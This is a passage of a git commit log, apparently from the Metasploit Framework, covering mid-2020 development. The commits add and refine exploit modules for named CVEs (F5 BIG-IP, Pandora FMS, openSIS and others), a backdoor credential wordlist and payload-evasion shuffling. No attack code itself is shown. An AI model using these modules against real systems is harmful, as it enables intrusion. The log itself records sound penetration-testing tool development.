William Vu d494eb046d Fix RPC support by raising instead of returning 2020-07-20 14:04:38 -05:00
Alan Foster 8e561c4eb5 Fix false positive with shodan search module 2020-07-20 18:12:43 +01:00
Brent Cook f70043bf4e check if a module has a check method first
Currently, if you run 'check' on a module that does not have a check
method, it will first complain that you have not set the 'RHOSTS'
option, whether it's an exploit module or a scanner. Then, once you set
RHOSTS (or whatever else it needs), it will then say 'Psych! I didn't
have a method in the first place!'.

This switches that logic around so that it first alerts you that the
module doesn't have support in the first place. It also similarizes more
logic between aux and exploit for some future convergence possibility.
2020-07-20 11:09:46 -05:00
dwelch-r7 53a97f8118 Merge pull request #13872 from adfoster-r7/add-needs-issue-template-bot-responses
Add needs issue template bot responses
2020-07-20 16:28:29 +01:00
Metasploit 253ddef06d automatic module_metadata_base.json update 2020-07-20 10:26:11 -05:00
William Vu 6211fea29f Land #13854, f5_bigip_tmui_rce improvements 2020-07-20 10:15:19 -05:00
Alan Foster 072080f5b5 Add needs issue template bot responses 2020-07-20 15:59:38 +01:00
Hynek Petrak a4da09111e Store credentials with create_credential 2020-07-20 11:15:09 +02:00
Hynek Petrak 6e1fb5f143 Added password hash dump 2020-07-20 10:34:09 +02:00
wetw0rk d7ae3bd20c CVE-2020-8010 & CVE-2020-8012 aka Sing About Me, I'm Dying Of Thirst 2020-07-19 17:57:55 -05:00
h00die 61a4fa61e5 simplify wifi block 2020-07-19 11:58:49 -04:00
h00die 5706e901d4 review comments 2020-07-19 11:42:31 -04:00
Brendan Coles 9d2b706d92 Use AutoCheck mixin and prefer cc over gcc 2020-07-18 23:31:34 +00:00
h00die e5e5faf084 add new field processors 2020-07-18 12:20:33 -04:00
h00die 9a4a6fbca5 fix unused variable 2020-07-18 07:47:33 -04:00
h00die eaf7161cae mikrotik 2020-07-18 07:45:24 -04:00
stealthcopter f3a3357cd7 Review changes and added optional CMD arg 2020-07-18 12:11:35 +01:00
Brendan Coles 96fea955d0 Remove fail_with from check method 2020-07-18 10:00:14 +00:00
Erik Wynter 7981672716 Merge pull request #2 from space-r7/zentao-pro-changes
Replace ret CheckCode with fail_with()
2020-07-17 18:13:19 -04:00
Erik Wynter 368adc26ef Update zentao_pro_rce.rb 2020-07-17 18:12:27 -04:00
William Vu d5d4716b1c Update TMSH escape reliability notes
What's strange is that if the stars align, like if the system has been
"used" enough, the exploit is incredibly reliable. Maybe my test
environment is bonkers.
2020-07-17 06:26:00 -05:00
William Vu c082ccd337 Make Meterpreter the default target 2020-07-17 06:10:53 -05:00
William Vu 1ae689ce5f Improve robustness by refactoring error handling
tmshCmd.jsp is extremely unreliable!
2020-07-17 05:23:42 -05:00
Brendan Coles fe773c0422 Use Msf::Exploit::Remote::AutoCheck and Msf::Post::Linux::Compile 2020-07-17 10:06:42 +00:00
Spencer McIntyre d1e2c75b3e Initial PoC of CVE-2020-6287 that adds a user 2020-07-17 02:03:43 -04:00
Metasploit 73bd6c43fe automatic module_metadata_base.json update 2020-07-16 15:10:02 -05:00
Spencer McIntyre ffebf48242 Land #13830, Add QEMU/KVM target for CVE-2019-0708 2020-07-16 16:00:16 -04:00
Metasploit 2d55b0d2e7 Bump version of framework to 5.0.100 2020-07-16 12:06:38 -05:00
gwillcox-r7 7d3653280f Land #13848, Add CDATA OLT telnet backdoor wordlist 2020-07-16 11:32:06 -05:00
Metasploit 3b1b6dd011 automatic module_metadata_base.json update 2020-07-16 10:38:10 -05:00
bwatters eb863048f0 Land #13741, CVE-2020-5741: Plex rce on Windows
Merge branch 'land-13741' into upstream-master
2020-07-16 10:20:50 -05:00
gwillcox-r7 8cfcfe36aa Land #13750, Centralize Cisco, Juniper, Brocade and Ubuiquiti auxiliary modules under networking directory 2020-07-16 10:16:52 -05:00
bwatters ceea94c368 Update docs for installation of target software 2020-07-16 10:16:48 -05:00
gwillcox-r7 09983771c8 Fix up a statment so instead of having an if followed by an else, we use elsif instead inside enum_juniper.rb 2020-07-16 10:10:11 -05:00
gwillcox-r7 7cbefaf43d Add in some minor fixes for cisco_asa_extrabacon.rb for RuboCop purposes 2020-07-16 09:48:40 -05:00
h00die 8133933d5a more rubocop 2020-07-16 05:43:52 -04:00
0x44434241 703dc79710 Vim ate my trailing space for guest/[nopassword] 2020-07-16 12:50:08 +09:00
0x44434241 94b46209d9 Adding in C-Data FTTH OLT Device telnet backdoor credential pairs.
Further information:
 - https://www.zdnet.com/article/backdoor-accounts-discovered-in-29-ftth-devices-from-chinese-vendor-c-data/
 - https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html
2020-07-16 12:38:23 +09:00
Shelby Pace 9c32b45ca2 remove CheckCode returns in login 2020-07-15 20:06:15 -05:00
Tod Beardsley 637b9ab51d Add CVE-2020-7361 reference 2020-07-15 15:40:51 -05:00
Jeffrey Martin 65039a5091 Merge upstream into 6.x 2020-07-15 09:58:07 -05:00
dwelch-r7 bdabebfb3c Refactor code into functions 2020-07-15 13:15:04 +01:00
h00die 3d851ca668 add run 2020-07-14 21:06:33 -04:00
h00die 80770125b5 review comments 2020-07-14 21:01:28 -04:00
dwelch-r7 02b8d436c8 Import vulns discovered from nmap 2020-07-14 13:22:09 +01:00
Metasploit 60b13413e9 automatic module_metadata_base.json update 2020-07-13 12:52:02 -05:00
Shelby Pace 3f820a1ee6 Land #13759, add BaselineAuthType option 2020-07-13 12:42:07 -05:00
kalba-security 2d3588c0ad Add suggestions from code review 2020-07-13 12:51:57 -04:00
Metasploit 1313efc70f automatic module_metadata_base.json update 2020-07-13 11:12:50 -05:00
Brendan Coles b2b88fe902 Land #13841, add Msf::Post::Unix.is_root? method 2020-07-13 16:23:58 +00:00
stealthcopter 887d1e0963 Updated documentation 2020-07-13 11:47:27 +01:00
stealthcopter 240f0be850 Updated author 2020-07-13 11:39:30 +01:00
stealthcopter 89b90046b3 Added documentation 2020-07-13 11:37:23 +01:00
stealthcopter 956e01e428 Added enum containers module 2020-07-13 11:22:16 +01:00
Brendan Coles 090b80eea7 Add Msf::Post::Unix.is_root? method 2020-07-12 00:47:56 +00:00
Metasploit fdee7e4e57 automatic module_metadata_base.json update 2020-07-11 12:19:51 -05:00
Brendan Coles 384a71b06a Land #13271, Update auxiliary/server/capture/smtp to store credentials 2020-07-11 17:30:06 +00:00
h00die 85bd740640 review comments 2020-07-11 15:19:16 -04:00
Metasploit 59f0d463dd automatic module_metadata_base.json update 2020-07-11 07:19:14 -05:00
adfoster-r7 7e7881fbfa Land #13730, Add Pandora FMS Events Remote Code Execution (CVE-2020-13851) module and docs 2020-07-11 13:10:47 +01:00
Jeffrey Martin f6d21abb51 require instead of autoload for exploit mixin 2020-07-10 22:15:12 -05:00
Metasploit ec68e57089 automatic module_metadata_base.json update 2020-07-10 13:55:32 -05:00
Jeffrey Martin c61f34ed16 Land #13596, [GSoC] SQLi library with support to MySQL (and MariaDB) 2020-07-10 13:45:47 -05:00
Metasploit ffd2a4621b automatic module_metadata_base.json update 2020-07-10 13:41:26 -05:00
Shelby Pace 8627cb2c35 Land #13626, checkvm post module cleanup 2020-07-10 13:31:03 -05:00
Brendan Coles 00d0d2cf15 Use service_exists? method 2020-07-10 18:10:26 +00:00
William Vu 9fa8931b77 Land #13812, ARCH_CMD target for psexec module 2020-07-10 10:39:52 -05:00
kalba-security 957042f0a3 Nuke redundant force-exploit advanced option 2020-07-09 17:24:19 -04:00
kalba-security df42399f61 Add installation instructions to docs 2020-07-09 17:20:07 -04:00
bwatters 24bf14b4c0 Land #13832, Polymorphic x86/x64 Block API
Merge branch 'land-13832' into upstream-6.x
2020-07-09 16:04:37 -05:00
kalba-security dc34acd070 Push to test autocheck issue 2020-07-09 16:43:18 -04:00
kalba-security 6bb20f41d8 Code review changes 2020-07-09 15:21:13 -05:00
kalba-security 36397a3e8f Add cmdstager support 2020-07-09 15:21:12 -05:00
kalba-security 3ac3dcb3cf Incorporate suggestios from code review 2020-07-09 15:21:12 -05:00
kalba-security c2abb40890 Fix HTTP timeout 2020-07-09 15:21:12 -05:00
kalba-security 3eceeca911 Add Pandora FMS Events Remote Code Execution module and docs 2020-07-09 15:21:12 -05:00
Spencer McIntyre e8ce6cf2f3 Fix up some comments in the x64 block_api source code 2020-07-09 14:02:12 -04:00
Metasploit 8926b1893e Bump version of framework to 5.0.99 2020-07-09 12:06:13 -05:00
Metasploit 782a03020e automatic module_metadata_base.json update 2020-07-09 09:39:48 -05:00
Shelby Pace 895c170394 Land #13769, add FortiMail auth bypass scanner 2020-07-09 09:28:45 -05:00
Shelby Pace ef3545d620 rubocop module 2020-07-09 09:26:39 -05:00
bwatters f3cfa4913a Land #13783, Support AES-128-CBC as an additional option for TLV encryption
Merge branch 'land-13783' into upstream-6.x
2020-07-09 08:09:06 -05:00
Spencer McIntyre 7745eafa17 Replace usage of Array.filter with Array.select for Ruby < 2.6 2020-07-09 09:00:05 -04:00
Patrick 78c5d57a32 Added output of build information as replacement for the missing version info 2020-07-09 09:28:35 +02:00
Stefan Pietsch 4c1b075679 Add QEMU/KVM target for CVE-2019-0708 2020-07-08 23:32:16 +02:00
kalba-security 6c4f975f97 Fix linting 2020-07-08 16:51:55 -04:00
kalba-security 470a0c9423 Add installation instructions to docs 2020-07-08 16:50:10 -04:00
Metasploit 0d58014b7d automatic module_metadata_base.json update 2020-07-08 15:38:24 -05:00
gwillcox-r7 1e0d5b4e04 Land #13829, Update modules to credit Mikhail Klyuchnikov for CVE-2019-19781 2020-07-08 15:28:12 -05:00
William Vu 398c13a1b2 Add Mikhail Klyuchnikov's writeup as a reference 2020-07-08 14:36:42 -05:00
William Vu ee240393f4 Credit Mikhail Klyuchnikov for CVE-2019-19781 2020-07-08 14:35:16 -05:00
Spencer McIntyre d39d1f5793 Update cached payload sizes 2020-07-08 15:33:39 -04:00
Spencer McIntyre 1537d3f193 Update the block_api assembly source files
This changes the x86 version to the (10 bytes) larger variant that can
handle full 32-bit jumps which is necesary for maximum compatibility
within the framwork.

Additionally, numeric literals are expressed in hex for compatibility
with the keystone assembler allowing these files to be compatitble with
external tools.
2020-07-08 15:28:41 -04:00
kalba-security 1f631e20ad Add zentao_pro_rce Windows exploit and docs 2020-07-08 15:13:45 -04:00
Spencer McIntyre 1518c6441b Use the new shuffled block api when generating EXEs too 2020-07-08 14:44:16 -04:00
Spencer McIntyre 6f153688ff Add labels to shuffled assembly source code for post-processing 2020-07-08 14:39:00 -04:00
Patrick 9b57c5347e Refactoring based on suggestions by bcoles 2020-07-08 16:37:14 +02:00
Patrick 75dde9551d Added suggestions of msftidy 2020-07-08 14:24:34 +02:00
Patrick 2e96990714 Refactored checking method 2020-07-08 14:22:50 +02:00
Patrick 517180e8d8 Integrated reporting to database 2020-07-08 13:15:28 +02:00
adfoster-r7 68e3aba789 Land #13823, fix raise_error rspec warnings 2020-07-08 12:12:59 +01:00
Spencer McIntyre 90870c91de Refactor the shuffle code to place it in a more accessible location 2020-07-07 18:13:55 -04:00
Jeffrey Martin 20a5688a11 add specific error class to remove warning 2020-07-07 15:44:16 -05:00
Spencer McIntyre af4dcdb22f Add documentation and fix rubocop issues for the new library code 2020-07-07 15:56:22 -04:00
Spencer McIntyre cfae4c76d0 Shuffle the block API source code every time 2020-07-07 15:55:32 -04:00
Metasploit 71f10eeeb0 Bump version of framework to 5.0.98 2020-07-07 13:38:22 -05:00
Alan Foster 4604488c05 Update rubocop version 2020-07-07 19:19:37 +01:00
Metasploit b0825824a0 automatic module_metadata_base.json update 2020-07-07 12:53:44 -05:00
Spencer McIntyre 16ff439296 Land #13807, Add F5 BIG-IP TMUI Directory Traversal and File Upload RCE (CVE-2020-5902) 2020-07-07 13:44:01 -04:00
William Vu 3ec597ce38 Update module doc 2020-07-07 12:12:38 -05:00
Jeffrey Martin 6114aeb828 lock rubocop for now 2020-07-07 12:06:18 -05:00
William Vu d726a2cdcb Fix a few final things 2020-07-07 12:06:05 -05:00
Jeffrey Martin 44d0ff0d75 Land #13820, Remove rspec test focus, and ensure all tests run 2020-07-07 11:39:04 -05:00
Alan Foster 2509bbfbc3 Remove rspec test focus, and ensure all tests run 2020-07-07 17:29:50 +01:00
Spencer McIntyre ff5ad268ab Bump metasploit-payloads to 2.0.9 and update payload sizes 2020-07-07 10:19:27 -04:00
Patrick b4e7815d80 added more suggestions by space-r7 2020-07-07 12:06:40 +02:00
Patrick 361df36f33 Apply suggestions from code review by space-r7
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-07-07 10:56:27 +02:00
h00die 456bf6b948 update escapes 2020-07-07 01:17:26 -04:00
William Vu ac3b31a911 Add module doc 2020-07-06 18:07:52 -05:00
William Vu c8176b803a Add version information to the description 2020-07-06 16:24:22 -05:00
William Vu 7ef4cb64ad Tweak timeouts to avoid a race condition 2020-07-06 14:30:27 -05:00
William Vu be90526d5f Add vuln discovery credit and reference 2020-07-06 14:26:52 -05:00
Spencer McIntyre e29e3be5d4 Add a basic GraphML parser to Rex 2020-07-06 15:23:41 -04:00
Metasploit 3220a1bb2f automatic module_metadata_base.json update 2020-07-06 09:58:44 -05:00
Niboucha Redouane 4c229c0a24 Add method for writing to files using SQL injection 2020-07-06 16:53:46 +02:00
Shelby Pace a2309f018e Land #13740, add springcloud dir traversal 2020-07-06 09:48:40 -05:00
Shelby Pace 224005ee7a Remove trailing comma 2020-07-06 09:47:58 -05:00
Spencer McIntyre cb8bcb5cb1 Update the psexec module documentation for the new command target 2020-07-06 10:36:25 -04:00
Spencer McIntyre 700d2ff819 Fix the SMB share for the psexec command target 2020-07-06 10:36:25 -04:00
Spencer McIntyre 9dc02229e9 Support ARCH_CMD payloads in the psexec exploit module 2020-07-06 10:33:03 -04:00
William Vu 41bb4d3a8d Add dir_trav method back in
I was wondering why I refactored it away. Oh, I needed it.
2020-07-05 18:23:45 -05:00
William Vu 1f765d0e1f Upgrade CheckCodes, since the dir traversal passed 2020-07-05 16:29:53 -05:00
William Vu 6e7701ba21 Add rudimentary check method 2020-07-05 16:18:03 -05:00
William Vu 0417e88ff2 Add F5 BIG-IP TMUI RCE (CVE-2020-5902) 2020-07-05 15:22:15 -05:00
Metasploit a65da92cab automatic module_metadata_base.json update 2020-07-05 12:59:31 -05:00
William Vu 3e7b3683b5 Land #13806, :unix_cmd target type for cmd/unix 2020-07-05 12:49:34 -05:00
William Vu 36b5d237fa Make cmd/unix target types consistent to :unix_cmd
There were some using :unix_command, and it was just an oversight.
2020-07-05 11:16:47 -05:00
Metasploit bbe73f18b6 automatic module_metadata_base.json update 2020-07-04 10:40:00 -05:00
Brendan Coles f9a5de87f8 Land #13789, Add OpenSIS Unauthenticated PHP Code Execution module 2020-07-04 15:49:45 +00:00
h00die 89332d0056 native python for plex unpickle 2020-07-03 19:37:18 -04:00
EgiX b286eda4d1 Update opensis_chain_exec.rb 2020-07-03 18:00:36 +02:00
EgiX d62b8d16c6 Update opensis_chain_exec.md 2020-07-03 17:43:10 +02:00
EgiX 3866d875e1 Update modules/exploits/unix/webapp/opensis_chain_exec.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2020-07-03 17:38:33 +02:00
Brent Cook 825b24ac32 Land #13801, update to payloads 2.0.8 2020-07-03 07:56:36 -05:00
OJ b067c60e08 Point to paylodas v2.0.8 2020-07-03 14:41:44 +10:00
Metasploit 0308d3822c Bump version of framework to 5.0.97 2020-07-02 12:03:56 -05:00
Dhiraj Mishra fc018a9410 Update springcloud_directory_traversal.rb
use gsub for slashes in traversal path
2020-07-02 10:15:09 +04:00
EgiX ab703f376b Create opensis_chain_exec.md 2020-07-01 23:51:17 +02:00
EgiX 60ec23c271 Update opensis_chain_exec.rb 2020-07-01 23:38:07 +02:00
Niboucha Redouane 4950c2dacf Fix minor bugs, in safe mode, and in the name of the attribute passed to attr_accessor 2020-07-01 23:00:23 +02:00
Metasploit 92f456df02 automatic module_metadata_base.json update 2020-07-01 15:12:12 -05:00
gwillcox-r7 c311ea5b5b Land #13768, Netgear R6700 Admin Password Reset (CVE-2020-10923 and CVE-2020-10924) 2020-07-01 14:58:53 -05:00
William Vu f5e50eb4b0 Land #13795, helpful "use" tip when running search 2020-07-01 14:52:18 -05:00
William Vu 8186270538 Fix whitespace 2020-07-01 14:52:07 -05:00
William Vu 01899d4843 Land #13787, AutoCheck mixin refactor with prepend 2020-07-01 14:49:03 -05:00
William Vu 08c1402be9 Land #13733, AnyDesk GUI CVE-2020-13160 exploit 2020-07-01 14:47:07 -05:00
William Vu 5ec31d2e41 Update recent modules to use prepend 2020-07-01 14:43:15 -05:00
William Vu ffc07d6c8f Merge remote-tracking branch 'upstream/master' into pr/13787 2020-07-01 14:42:16 -05:00
Spencer McIntyre a27bf9df38 Fix some grammatical mistakes and set a default target for anydesk 2020-07-01 15:27:33 -04:00
William Vu 89f7be3ef0 Improve error message 2020-07-01 14:20:04 -05:00
gwillcox-r7 fdfef2729f Update documentation and modules to better list the range of versions affected now that we know which versions we can target and the CVE IDs. Also update the firmware links to archive.org links in case they ever get removed which is more common than you think 2020-07-01 13:28:46 -05:00
gwillcox-r7 ddb41d5a50 Update module and documentation with new output from the exploit 2020-07-01 13:28:32 -05:00
gwillcox-r7 3db867e5eb Futher updates to the module documentation since technically this module doesn't send the packet to UDP port 23 to enable the telnet server. 2020-07-01 13:28:15 -05:00
gwillcox-r7 d1e66c9d9f Add in rest of the fixes from my updates to the code 2020-07-01 13:27:58 -05:00
gwillcox-r7 79794b32ae Add in update to denote the timeout and MAC options in the telnetenable module in case this helps fix people's issues. 2020-07-01 13:27:56 -05:00
gwillcox-r7 37f2eb8e9d Fix up Failure::UNKNOWN check within get_offset() 2020-07-01 13:27:56 -05:00
Radek Domanski 1e520f27e9 Updating md as per comments 2020-07-01 13:27:32 -05:00
Radek Domanski a19c50044f Fixing firmware download link 2020-07-01 13:27:30 -05:00
Radek Domanski 4b29b76f0b Adding URLs 2020-07-01 13:27:17 -05:00
Radek Domanski 4a62d473a0 Commit initial files 2020-07-01 13:26:42 -05:00
Alan Foster b79c08772a Add note about using a module after searching 2020-07-01 19:21:34 +01:00
Christophe De La Fuente 6f74efbda1 Land #13764, Update SMB Version Scanning 2020-07-01 18:23:28 +02:00
wvu-r7 e0fbc9fd05 Correct whitespace change
Seems like a typo.
2020-07-01 11:00:04 -05:00
Spencer McIntyre 0cb3db843e Update the smb_version docs to reflect the latest changes 2020-07-01 11:25:25 -04:00
Adam Galway 8af480f89e Land #13793, fixes typo with debug and adds test 2020-07-01 15:28:00 +01:00
Alan Foster 3737c6810c Fix typo in debug command 2020-07-01 14:18:51 +01:00
Spencer McIntyre 53f6dbdf90 Add a missing exception class to the rescue statement 2020-07-01 09:13:01 -04:00
Dhiraj Mishra 532d6f6e39 Docs 2020-07-01 16:50:33 +04:00
Dhiraj Mishra da9d694599 Update springcloud_directory_traversal.rb
Thank you Shelby.
2020-07-01 15:44:43 +04:00
Dhiraj Mishra 4fc361c091 Update and rename springcloud_traversal2.rb to springcloud_directory_traversal.rb 2020-07-01 15:15:32 +04:00
Niboucha Redouane f9ade608b5 minor change: add default value to some arguments 2020-07-01 02:56:01 +02:00
adfoster-r7 97fabb303c Merge pull request #1 from wvu-r7/pr/13787
Fix a few things in AutoCheck refactor (rapid7#13787)
2020-06-30 20:57:45 +01:00
Metasploit 2b6f87b37f automatic module_metadata_base.json update 2020-06-30 13:43:34 -05:00
Shelby Pace e2f6330755 Land #13725, fix error / clean up atutor exploit 2020-06-30 13:32:34 -05:00
William Vu 4b78de5416 Refactor AutoCheck a bit more 2020-06-30 11:58:42 -05:00
Niboucha Redouane 0680113288 get rid of database parameter in MySQLi methods 2020-06-30 18:49:13 +02:00
William Vu 755d2d3261 Use subpar regex validation on LEAK_FILE 2020-06-30 11:17:26 -05:00
Spencer McIntyre a2d3b69bec Bump metasploit-payloads to 2.0.7 and update payload sizes 2020-06-30 11:52:31 -04:00
Niboucha Redouane b230adebba Add check for positional arguments on class constructor (SQLi::Common) 2020-06-30 16:16:35 +02:00
EgiX bd3f772bbc Add openSIS Unauthenticated PHP Code Execution
This PR is for a module that exploit multiple vulnerabilities in openSIS 7.4 and prior versions which could be abused by unauthenticated attackers to execute arbitrary PHP code with the permissions of the webserver. The module has been successfully tested with openSIS version 7.3 and 7.4 running on a LAMP system.
2020-06-30 15:35:32 +02:00
Alan Foster b841246536 Update autocheck to use prepend instead of include, add ForceExploit functionality 2020-06-30 11:40:46 +01:00
h00die a99a3c2d75 working albumn_name length thanks to acammack 2020-06-30 00:28:57 -04:00
ubuntu_2020 dea58ea81a Land #13773, Update metasploit payloads to 1.4.4wq
Merge branch 'land-13773' into upstream-master
2020-06-29 17:16:58 -05:00
Spencer McIntyre 5f5f42aa20 Readd the check that the key is set 2020-06-29 17:56:37 -04:00
Spencer McIntyre e72035f1a3 Support AES-128-CBC as an additional option for TLV encryption 2020-06-29 14:19:43 -04:00
adfoster-r7 d513ff32d7 Land #13782, Allow a jsonrpc token to be used when a database is present 2020-06-29 18:27:30 +01:00
Metasploit 290cc73c16 automatic module_metadata_base.json update 2020-06-29 12:08:43 -05:00
Shelby Pace 2b1af9acaa Land #13610, add atutor auth dir trav / rce 2020-06-29 11:58:34 -05:00
Shelby Pace ad48170a18 replace forceexploit with autocheck 2020-06-29 11:54:01 -05:00
Spencer McIntyre f05ffbe576 Scan SMB versions in descending order for efficiency 2020-06-29 12:08:13 -04:00
Shelby Pace f2c79ca1ef add changes for linux 2020-06-29 10:43:26 -05:00
Spencer McIntyre 04219e3d87 Catch RubySMB errors when authenticating in smb_version 2020-06-29 11:37:14 -04:00
adfoster-r7 d127f7120f Land #13430, adds debug command that can be used to generate information useful when debugging user errors 2020-06-29 16:00:21 +01:00
Adam Galway babaee8c8e adds debug command with spec tests 2020-06-29 15:38:56 +01:00
Akkuman bc74900a41 🐛 fix #13781 set token from environment var 2020-06-29 15:07:33 +08:00
Metasploit 39a5c6aa37 automatic module_metadata_base.json update 2020-06-28 23:59:18 -05:00
William Vu 3ba619acee Land #13521, Bolt CMS authenticated RCE 2020-06-28 23:50:53 -05:00
Tim W fa6fc4e0b0 Land #13780, fix quote output after aborting interactive session 2020-06-29 12:41:38 +08:00
wvu-r7 8224692fc7 Merge pull request #21 from timwr/fix-13780
fix session abort with Ctrl C
2020-06-28 23:39:39 -05:00
Tim W 878c1a56df fix session abort with Ctrl C 2020-06-29 12:35:02 +08:00
William Vu 156eea4292 Fix cleanup blocking on payload execution 2020-06-28 23:07:10 -05:00
William Vu b81629d099 Clean up module 2020-06-28 23:07:10 -05:00
William Vu 6e56fb5fe1 Remove debug print from session/interactive.rb 2020-06-28 22:52:42 -05:00
Niboucha Redouane 440294ff07 make some attributes writable, and specify its the SQLi library in any verbose message 2020-06-27 18:28:12 +02:00
Niboucha Redouane 2c4ca04dca Rename the factory method for SQLi classes, and add a check on the class to instanciate 2020-06-27 14:51:54 +02:00
Niboucha Redouane e5062bc124 Merge pull request #2 from jmartin-r7/GSOC/SQLi_Engine-as-factory
refactor mixin as factory for SQLi classes
2020-06-27 14:49:51 +02:00
Spencer McIntyre 42aa479ef2 Log the authentication domain when using RubySMB 2020-06-26 18:07:45 -04:00
bwatters-r7 952cca5e00 Update metasploit payloads to 1.4.4 2020-06-26 16:47:19 -05:00
Spencer McIntyre 71be2bbe67 Fix status updates and rport in the smb_version scanner 2020-06-26 17:30:15 -04:00
Jeffrey Martin aa6c037dbd refactor mixin as factory for sqli classes 2020-06-26 15:09:01 -05:00
Shelby Pace 2f6847c321 move login to its own method 2020-06-26 14:50:34 -05:00
adfoster-r7 6bbce9e73c Land #13601, Add custom service name support to msfvenom's exe-service generator 2020-06-26 19:00:33 +01:00
Spencer McIntyre bb33bc9c62 Randomize the bad unicode character used to trigger the vulnerability 2020-06-26 13:05:43 -04:00
William Vu 72dbbedcfc Clean up module doc 2020-06-26 11:25:41 -05:00
William Vu 03b171f7f1 RuboCop more aggressively 2020-06-26 11:25:38 -05:00
Metasploit 228d094e0e automatic module_metadata_base.json update 2020-06-26 10:45:07 -05:00
gwillcox-r7 ad47a2e9c9 Land #13770, Update IBM DRM modules with URL and correct versions 2020-06-26 10:34:12 -05:00
Niboucha Redouane 34e8eae471 move hex_encode_strings to MySQLi::Common, as it is specific to MySQL 2020-06-26 16:04:51 +02:00
Pedro Ribeiro 6e8178735f Update ibm_drm_rce.rb 2020-06-26 11:38:55 +07:00
Pedro Ribeiro 0af3b57013 Update ibm_drm_download.rb 2020-06-26 11:38:29 +07:00
Pedro Ribeiro 2ba8573ef9 Update IBM DRM rce module 2020-06-26 11:31:10 +07:00
Pedro Ribeiro 9995d13316 Update IBM DRM RCE docs 2020-06-26 11:29:59 +07:00
Pedro Ribeiro 34fd858265 Update IBM DRM SSH module 2020-06-26 11:28:21 +07:00
Pedro Ribeiro eb954da04d Fix IBM DRM SSH docs 2020-06-26 11:26:47 +07:00
Pedro Ribeiro 75ed69c7a7 update IBM download docs too 2020-06-26 11:25:25 +07:00
Pedro Ribeiro b42f99b652 Add IBM links to download module 2020-06-26 11:24:12 +07:00
Spencer McIntyre fb4ec60a30 Apply rubocop linting and add an Ubuntu 20.04 target 2020-06-25 16:18:17 -04:00
William Vu 7273ac1a92 Move module to unix/webapp 2020-06-25 12:44:42 -05:00
William Vu c03c580d12 Merge remote-tracking branch 'upstream/master' into pr/13521 2020-06-25 12:21:57 -05:00
Metasploit a1d547fdfe Bump version of framework to 5.0.96 2020-06-25 12:04:52 -05:00
Patrick a17b881c96 added more vulnerable versions 2020-06-25 18:34:23 +02:00
Metasploit 25efa03b0e automatic module_metadata_base.json update 2020-06-25 11:25:27 -05:00
Spencer McIntyre a242309e1d Add deprecation reasons to the smb1 and smb2 scanners 2020-06-25 12:18:30 -04:00
Alan Foster a754225ba5 update deprecation notice to have a reason 2020-06-25 12:17:31 -04:00
Christophe De La Fuente 77276ee3e2 Land #13604, Ignition Automation RCE module 2020-06-25 18:14:57 +02:00
Christophe De La Fuente 2203310d64 Remove spaces at EOL 2020-06-25 18:12:29 +02:00
Pedro Ribeiro b630524703 Update inductive_ignition_rce.md 2020-06-25 22:48:35 +07:00
Pedro Ribeiro 432a9acfcd Update modules/exploits/multi/scada/inductive_ignition_rce.rb
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-06-25 22:43:12 +07:00
Antoine Neuenschwander 071fa300a7 Apply suggestions from code review
Rename option in `CamelCase`

Co-authored-by: acammack-r7 <adam_cammack@rapid7.com>
2020-06-25 17:19:41 +02:00
Brendan Coles 4622fecf73 Use helper method to retrieve services and processes 2020-06-25 12:39:22 +00:00
Patrick e8a476e845 added CVE reference 2020-06-25 13:21:59 +02:00
Patrick 8e98db193f added link to exploit 2020-06-25 13:10:15 +02:00
Niboucha Redouane 7291a77807 minor fix to verbose logging / some comments 2020-06-25 12:46:05 +02:00
Pedro Ribeiro 8e0f2d8606 Merge pull request #19 from rapid7/master
asasas
2020-06-25 17:00:10 +07:00
Patrick 59711e3bff added scanner module for fortimail login bypass 2020-06-25 10:28:17 +02:00
h00die 94cc286689 update docs and 401 handling code 2020-06-24 21:05:23 -04:00
Metasploit 329f46dba2 automatic module_metadata_base.json update 2020-06-24 17:59:17 -05:00
gwillcox-r7 0dde85f562 Land #13739, Cisco AnyConnect Priv Esc via Path Traversal 2020-06-24 17:47:52 -05:00
gwillcox-r7 15de510623 Add in RuboCop and msftidy_docs.rb fixes 2020-06-24 17:19:21 -05:00
Christophe De La Fuente 5f64444d4f Update module and documentation from code review 2020-06-24 23:34:26 +02:00
Spencer McIntyre 9d1d58a643 Implement code changes suggested by rubocop 2020-06-24 16:25:06 -04:00
Spencer McIntyre 3d717bd43b Defer status updates to group host lines together 2020-06-24 16:25:06 -04:00
Spencer McIntyre d1a1ced5ff Update the smb_version module documentation 2020-06-24 16:25:06 -04:00
Spencer McIntyre efef28912f Report the server uptime, GUID and capabilities in smb_version 2020-06-24 16:24:40 -04:00
Spencer McIntyre 7ec56964cd First commit of the smb_version module enhancements 2020-06-24 16:24:32 -04:00
Spencer McIntyre d3a59dc8b2 Update the Gemfile.lock for ruby_smb v2.0.2 2020-06-24 14:11:29 -04:00
Spencer McIntyre 26cbfa5d56 Land #13417, SMBv3 integration with Framework 2020-06-24 14:09:11 -04:00
Spencer McIntyre 771e7e7617 Land #13476, Add support for custom name/ordinal for RDI 2020-06-24 09:40:24 -04:00
Metasploit e230b4de1e automatic module_metadata_base.json update 2020-06-24 08:31:00 -05:00
Spencer McIntyre 83bdb92977 Update cached payload sizes for metasploit-payloads v2.0.6 2020-06-24 09:25:53 -04:00
Spencer McIntyre 32fee4f09d Fix the regex for finding the exported loader name 2020-06-24 09:22:39 -04:00
adfoster-r7 c65680990b Land #13755, Exclude multi from automatic PAYLOAD selection 2020-06-24 14:21:17 +01:00
kalba-security d0509fecf4 Improve the method of setting the cmdstager flavor 2020-06-24 06:50:00 -04:00
William Vu fcf2068bec Check single result, once more with feeling 2020-06-23 22:07:13 -05:00
Niboucha Redouane 8b7ad94168 Fix error message, SqliDelay instead of SQLI_SLEEP 2020-06-24 00:48:07 +02:00
Niboucha Redouane f89f80be47 add default value for options of SQLi constructors, and fix eyesofnetwork module 2020-06-24 00:38:13 +02:00
OJ e725fb5d4a Update payloads gem version 2020-06-24 08:24:22 +10:00
OJ 53b010aaf9 Fix stupid mistakes in the core RDI loader
Typo in comments & incorrect symbol in regex.
2020-06-24 08:17:04 +10:00
OJ 3548a839b5 Java-related UINT command ID generation 2020-06-24 08:11:16 +10:00
OJ d14dac26ec Support removal of TLV strings
This first bit of code aims to add a "map" to the packet functionality
that is able to translate to and from "method strings" to "command ids".
IDs are sent across the wire, and they're now integers. This removes the
need for the strings to be present in things like native meterp, and
